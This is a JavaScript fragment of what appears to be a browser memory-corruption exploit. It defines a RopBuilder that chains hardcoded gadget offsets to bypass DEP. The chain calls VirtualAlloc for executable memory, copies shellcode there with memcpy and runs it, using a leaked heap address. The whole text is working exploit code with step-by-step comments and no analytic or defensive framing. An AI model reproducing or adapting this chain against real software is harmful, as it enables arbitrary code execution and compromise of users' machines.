var RopBuilder = function(informer, addresses, scLength) { this.rop = new Uint32Array(0x1000); this.ropAddress = informer.leakRopAddress(this.rop); this.base = addresses['base']; this.virtualAlloc = addresses['virtualAlloc']; this.memcpy = addresses['memcpy']; this.scAddr = addresses['shellcode']; this.scLength = scLength; }; // Build the ROP chain to bypass DEP RopBuilder.prototype.buildRop = function() { // ROP chain (rets in comments are omitted) // we perform: // (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX) // memcpy(EAX, shellcode, shellcodeLen) // (void(*)())EAX() var offs = 0x30/4; // offset to chain after CALL [EAX+0x30] this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30; this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX) this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7 this.rop[offs + 0x3] = 0; // lpAddress this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000) this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT) this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE) this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2) this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX; this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem this.rop[offs + 0xc] = this.memcpy; this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2) this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3) };